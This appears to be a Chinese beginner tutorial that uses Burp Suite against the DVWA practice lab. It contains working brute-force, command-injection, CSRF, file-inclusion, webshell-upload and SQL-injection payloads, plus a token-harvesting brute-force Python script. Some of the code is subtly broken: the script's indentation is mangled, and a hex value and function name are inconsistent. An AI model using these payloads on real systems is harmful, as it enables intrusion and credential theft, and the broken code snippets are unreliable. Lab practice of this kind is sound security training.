Burpsuite + DVWA 入门实战

功能介绍
burpsuit是一个用来抓包、改包、爆破密码的工具。

环境
Burpsuite 版本:1.7
浏览器:火狐

抓取第一个包

1.firefox代理设置(burpsuite默认为127.0.0.1:8080,所以为了方便这里也用)
Burpsuite + DVWA 入门实战_第1张图片2.firefox的证书设置
url栏输入 http://burp,点击 CA Certificate 下载证书(放桌面就行)
Burpsuite + DVWA 入门实战_第2张图片导入证书
Burpsuite + DVWA 入门实战_第3张图片3.burpsuite的设置
在这里插入图片描述
然后就可以抓包了
Burpsuite + DVWA 入门实战_第4张图片注意抓包的时候浏览器打不开网页属于正常现象,如果需要继续浏览,点击“Intercept is on”或者“Forward”按钮即可。

Repeater板块

在proxy模块抓到包后,点击Action按钮,选择 Send to Repeater
Burpsuite + DVWA 入门实战_第5张图片
转到Repeater板块,点击go按钮,在Response区域内,可以看到服务器返回的信息

Intruder板块

同上,Action按钮 --> Send to Intruder ,转到 Intruder 板块。来到 Positions 子版块,看到有许多绿色背景文本,点击右侧 Clear 按钮 清除变量,并选中你想要的内容点击 Add 按钮来添加变量。
Burpsuite + DVWA 入门实战_第6张图片
Burpsuite + DVWA 入门实战_第7张图片

然后来到 payload 子页面,进行以下设置:(payload set :字典ID)
Burpsuite + DVWA 入门实战_第8张图片
最后点击 Start attack 按钮
Burpsuite + DVWA 入门实战_第9张图片

配置DVWA

介绍:其实就是一个供我们练习用的虚拟环境
首先安装XAMPP:https://www.apachefriends.org/zh_cn/index.html
安装完了以后在Apache及MySQL选择行中点击start便可创建虚拟环境:
Burpsuite + DVWA 入门实战_第10张图片
但是我发现我的Apache是运行不起来的…别的也不多说了,直接上解决办法:
先点右上角Config按钮出现下图——
Burpsuite + DVWA 入门实战_第11张图片
再点Service and Port Settings ,设置 端口号为8088/4431(原来是80/443)
Burpsuite + DVWA 入门实战_第12张图片
点击Apache 后面的config按钮,依次修改两个配置文件
Burpsuite + DVWA 入门实战_第13张图片
Burpsuite + DVWA 入门实战_第14张图片
Burpsuite + DVWA 入门实战_第15张图片
重启XAMPP,成功。

然后开始搞DVWA,先从官网下载.zip文件:http://www.dvwa.co.uk/
Burpsuite + DVWA 入门实战_第16张图片
将文件解压至XAMPP目录下的htdocs文件夹中
Burpsuite + DVWA 入门实战_第17张图片
打开子路径‘config’文件夹,将原来的文件改为config.ini.php(打开方式-记事本-另存为-所有文件)
Burpsuite + DVWA 入门实战_第18张图片

回到XAMPP,点击“Apache”或“Mysql”的Admin按钮,打开网页。在后面追加以下内容,就可以打开DVWA的主页了:
Burpsuite + DVWA 入门实战_第19张图片
一开始它提示我除了两个错误(第一个错误我没有解决,但是没有影响),可以参考这篇文章对文件进行修改:https://blog.csdn.net/wst0717/article/details/79623750
Burpsuite + DVWA 入门实战_第20张图片
点击DVWA主页下面的 Create / Reset Database 按钮,就可以登陆了。默认的登录名和密码有很多,我在这里罗列出来:
Burpsuite + DVWA 入门实战_第21张图片
在这里插入图片描述
输入账号密码后,成功登录系统:
Burpsuite + DVWA 入门实战_第22张图片
注意,火狐的代理默认是localhost 、 127.0.0.1 不是用代理,需要把这里的内容删除:
Burpsuite + DVWA 入门实战_第23张图片

DVWA·Brute Force 板块 - low

打开brute force 板块 , 随便填写账号、密码,点击Login按钮:
Burpsuite + DVWA 入门实战_第24张图片
在 burpsuit 里抓到的包是这样的:
Burpsuite + DVWA 入门实战_第25张图片
点击Action 按钮 ,转到 intruder 板块,设置账号、密码 为 扫面对象:(这里Cluster bomb 是 扫描1字典*2字典 次数,也就是username 和 password 的扫描完全独立。)
Burpsuite + DVWA 入门实战_第26张图片

Burpsuite + DVWA 入门实战_第27张图片

Burpsuite + DVWA 入门实战_第28张图片

点击 start attack 按钮 ,等待扫描完成。可以看到这一条的相应长度(length)比较特殊,我们记录下来,等下去 DVWA 验证。
Burpsuite + DVWA 入门实战_第29张图片

成功通过!
Burpsuite + DVWA 入门实战_第30张图片

DVWA·Brute Force 板块 - medium

首先先把 ‘Security Level’ 从 low 修改为 meddle。打开XAMPP的安装路径,打开 config.inc.php
Burpsuite + DVWA 入门实战_第31张图片

把 default_security_level 修改为 meddle , 然后清空浏览器缓存,重新打开DVWA主页
Burpsuite + DVWA 入门实战_第32张图片

Burpsuite + DVWA 入门实战_第33张图片

修改成功。
Burpsuite + DVWA 入门实战_第34张图片

其实 middle 也可以进行密码爆破,这里就 pass 了。

DVWA·Brute Force 板块 - high

首先,用上面的方法把难度修改为 high
在这里插入图片描述
然后老样子,抓一个包,此时看到4个参数:
Burpsuite + DVWA 入门实战_第35张图片
因为加入了token(令牌)校验,所以 burpsuit 就不能爆破了 , 推荐使用 python 编写脚本来实时的获取 token 的值,代码如下(来自网络):

from bs4 import BeautifulSoup
import urllib2
header={        
		'Host': '192.168.153.130',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 					    Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
		requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

		def get_token(requrl,header):
		req = urllib2.Request(url=requrl,headers=header)
		response = urllib2.urlopen(req)
		print response.getcode(),
		the_page = response.read()
		print len(the_page)
		soup = BeautifulSoup(the_page,"html.parser")
		user_token = soup.form.input.input.input.input["value"] #get the user_token
		return user_token

		user_token = get_token(requrl,header)
		i=0
		for line in open("rkolin.txt"):
		requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?				username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
		i = i+1
		print i,'admin',line.strip(),
		user_token = get_token(requrl,header)
		if (i == 10):
		break

剩下的 impossible 等级就不说了,不适合新手入门。

DVWA·Command Injection 板块 - low

打开 Command Injection 板块 , 输入 127.0.0.1 出现以下结果:
Burpsuite + DVWA 入门实战_第36张图片
输入 net user 出现以下结果:
Burpsuite + DVWA 入门实战_第37张图片
输入 127.0.0.1&&net user 出现以下结果:(暴露了本机用户名等敏感信息)
Burpsuite + DVWA 入门实战_第38张图片

DVWA·Command Injection 板块 - medium

medium 等级加入了对”&&”与” ;” 的过滤(变成空字符),但是好在“&”没有过滤,所以我们使用以下语句:127.0.0.1&;&ipconfig (过滤后为:127.0.0.1&&ipconfig )

输入 127.0.0.1
Burpsuite + DVWA 入门实战_第39张图片
输入 ipconfig
Burpsuite + DVWA 入门实战_第40张图片
输入 127.0.0.1&&ipconfig
在这里插入图片描述

输入 127.0.0.1&;&ipconfig
Burpsuite + DVWA 入门实战_第41张图片

DVWA·Command Injection 板块 - high

过滤了& ; |空格 - $ ( ) ` ||
因为| 后有一个空格,所以可以使用 127.0.0.1|net user (其中|的意思是把127.0.0.1输出作为net user的输入)

Burpsuite + DVWA 入门实战_第42张图片
impossible 日常略过——

DVWA·CSRF 板块 - low

首先打开 CSRF 板块 , 此时 URL 是这样的:
Burpsuite + DVWA 入门实战_第43张图片

然后 , 我们修改新密码为 password (本来密码就是 password 嘛…),观察 新URL:

http://localhost:8088/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

Burpsuite + DVWA 入门实战_第44张图片
我们把URL记录下来,将URL的 password_new 、 password_conf 的值改为 hack , 按下回车。再次登录的时候发现已经登录不上去了。
Burpsuite + DVWA 入门实战_第45张图片

之后我们清理下浏览器的缓存,再次使用 admin+password 登录:
Burpsuite + DVWA 入门实战_第46张图片
Burpsuite + DVWA 入门实战_第47张图片
那么还有一个问题,我们怎么知道哪两个字段的 name 就是 password_new 、 password_conf 呢?我们打开 burpsuit 抓一个包看看:
Burpsuite + DVWA 入门实战_第48张图片
现在明白怎么回事了吧。

DVWA·CSRF 板块 medium

medium 级别在URL上修改 password_new 、 password_conf 会显示失败:
Burpsuite + DVWA 入门实战_第49张图片

但是可以用 burpsuit 达到目的,首先抓包:
Burpsuite + DVWA 入门实战_第50张图片

把 password_new 、 password_conf 改成 hack 然后点击 Forward 按钮 重新发包:
Burpsuite + DVWA 入门实战_第51张图片
修改成功:
Burpsuite + DVWA 入门实战_第52张图片

最后清空浏览器缓存,使用 admin+hack 登录:
成功!
Burpsuite + DVWA 入门实战_第53张图片

DVWA·CSRF 板块 high

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
参考代码:



 



 



  

参考网址:https://www.freebuf.com/articles/web/118352.html

DVWA·File Inclusion 板块 low

进入 file inclusion 板块 , 看到三个文件链接:
Burpsuite + DVWA 入门实战_第54张图片
分别点开后,是这样的:
Burpsuite + DVWA 入门实战_第55张图片
Burpsuite + DVWA 入门实战_第56张图片
Burpsuite + DVWA 入门实战_第57张图片

我们不用去管文件里的内容,看URL:
我们修改下文件名,按下回车。发现它暴露了服务器的绝对路径。这样我们就可以用猜测的方法去读取我们原来无法读取的文件了。
Burpsuite + DVWA 入门实战_第58张图片

另外我们还可以向服务器上传我们自己的文件,比如我在 “我文件所在服务器” 的根目录,创建一个text.txt , 内容是 hello
Burpsuite + DVWA 入门实战_第59张图片

在URL输入以下路径后 回车 ,上传成功!
Burpsuite + DVWA 入门实战_第60张图片

DVWA·File Inclusion 板块 medium

Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。
所以之前 远程文件上传就会失败:
Burpsuite + DVWA 入门实战_第61张图片

所以在这里我们只能使用绝对路径 , 来上传本地文件:
Burpsuite + DVWA 入门实战_第62张图片

DVWA·File Inclusion 板块 high

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。所以就不能直接使用本地文件路径了:
Burpsuite + DVWA 入门实战_第63张图片
所以我们可以这样写:
Burpsuite + DVWA 入门实战_第64张图片

DVWA·File Upload 板块 low

因为 low 等级没有限制文件上传类型 , 所以可以直接上传 .php文件 , 然后配合 中国菜刀。
Burpsuite + DVWA 入门实战_第65张图片

DVWA·File Upload 板块 medium

medium 限制了文件上传的类型,只能为 png、jpg 所以,我们就要把 test.php 重命名为 test.png (隐藏.php扩展名) 这里过程就不演示了。

DVWA·File Upload 板块 high

high 等级会读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
打开 cmd ,输入以下命令
Burpsuite + DVWA 入门实战_第66张图片
Burpsuite + DVWA 入门实战_第67张图片
上传成功!
Burpsuite + DVWA 入门实战_第68张图片

DVWA·Insecure CAPTCHA 板块 low

首先注意,这里发送验证码是需要的(我虽然有梯子,但是因为火狐浏览器开了127.0.0.1的代理,所以也没办法收到验证码,所以我们就直接抓包)
输入新密码 , 点击 Change 按钮 , 抓包:
Burpsuite + DVWA 入门实战_第69张图片
然后我们要把 step 参数改成 2 :
Burpsuite + DVWA 入门实战_第70张图片
修改成功!
Burpsuite + DVWA 入门实战_第71张图片

DVWA·Insecure CAPTCHA 板块 medium

medium 等级就不能使用 low 的改包方法了:
Burpsuite + DVWA 入门实战_第72张图片
重新抓包 , 在包尾加上这样一段话:(但是需要知道这个页面的源码,否则你不知道变量的名字)
Burpsuite + DVWA 入门实战_第73张图片

DVWA·Insecure CAPTCHA 板块 high

原理还是一样,就是多了几个参数。(还是需要看源码)

DVWA·SQL Injection 板块 low

输入1,查询结果如图:
Burpsuite + DVWA 入门实战_第74张图片
输入2:
Burpsuite + DVWA 入门实战_第75张图片
输入3:
Burpsuite + DVWA 入门实战_第76张图片
输入4:Burpsuite + DVWA 入门实战_第77张图片
输入5:
Burpsuite + DVWA 入门实战_第78张图片
输入6就不会显示了,也就是说一共表里只有5条数据。
输入:1’or’1’='1 , 显示以下结果:

原理:select * form 表名 where id = 1 or 1 = 1 , 因为1=1恒成立,所以就会打印所有的数据。

Burpsuite + DVWA 入门实战_第79张图片
另外我们也输入 : 1 ’ union select 1 , database() ’ 来获取数据库信息
Burpsuite + DVWA 入门实战_第80张图片
也可以获取表名:

1 ' union select 1 , group_concat(table_name) from information_schema.tables where table_schema=database()#

union :拼接 sql 语句 (这里也就是实现两个 select 查询)
group_concat(XXX):把某个字段的值在同一行打印出来
information_schema:每个 mysql 都有这个库
table_schema:数据库名
table_name:数据表名

Burpsuite + DVWA 入门实战_第81张图片
还可以获取表中的字段名:

1 ' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #

column_name:列名
columns :列

Burpsuite + DVWA 入门实战_第82张图片
打印数据:

' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

在这里插入图片描述
其中 md5 对应的明文密码为:

5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
5f4dcc3b5aa765d61d8327deb882cf99:password

DVWA·SQL Injection 板块 mediun

medium 级别无法在前端注入,但是可以用 burpsuit 抓包修改。并且过滤了一些特殊符号
Burpsuite + DVWA 入门实战_第83张图片
改包截图:(答题类似,就不一一列举。重点就是去掉之前的 ’ 符号)
Burpsuite + DVWA 入门实战_第84张图片
Burpsuite + DVWA 入门实战_第85张图片
这里需要留意的是,medium 级别过滤了 ’ 符号。所以以下代码就会失效:

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#

这里我们需要把 ’users’ 转换成 16 进制 。(这种工具网上多得是),用0x27757365727327 代替 ‘users’Burpsuite + DVWA 入门实战_第86张图片

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

这样就成功了。
Burpsuite + DVWA 入门实战_第87张图片

high 等级的就不说了,原理基本都一样。

DVWA·SQL Injection (Blind) 板块 low

盲注,就是攻击者没法再前端看到返回的结果,只能知道注入的对错。
首先输入:1’ and 1 = 1 # , 存在
Burpsuite + DVWA 入门实战_第88张图片
再输入:1’ and 1 = 2 # , 不存在
Burpsuite + DVWA 入门实战_第89张图片
那么就说明存在盲注漏洞。继续猜 “数据库名” 长度。

输入:1’ and length(database())=1 # 不存在
输入:1’ and length(database())=2 # 不存在
输入:1’ and length(database())=3 # 不存在
输入:1’ and length(database())=4 # 存在

Burpsuite + DVWA 入门实战_第90张图片
知道了数据库名长度 = 4 , 接下来猜 “数据库名”(二分法猜,推荐写脚本。这里给个思路)
代码来自网络:

    输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

    输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

    … 重复

类似的还有
·猜表数量:

    1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

猜表名(和猜数据库名一个道理) 这里不说了就。 剩下的猜字段的也不说了。

另外就是一下情况说明存在 “时间盲注”:

    输入1’ and sleep(5) #,感觉到明显延迟;

    输入1 and sleep(5) #,没有延迟;

最后,盲注终于搞完了(medium high 都略过,因为就是加了字符串过滤,可以参考上面的 SQL Injection 的方法)

你可能感兴趣的:(渗透)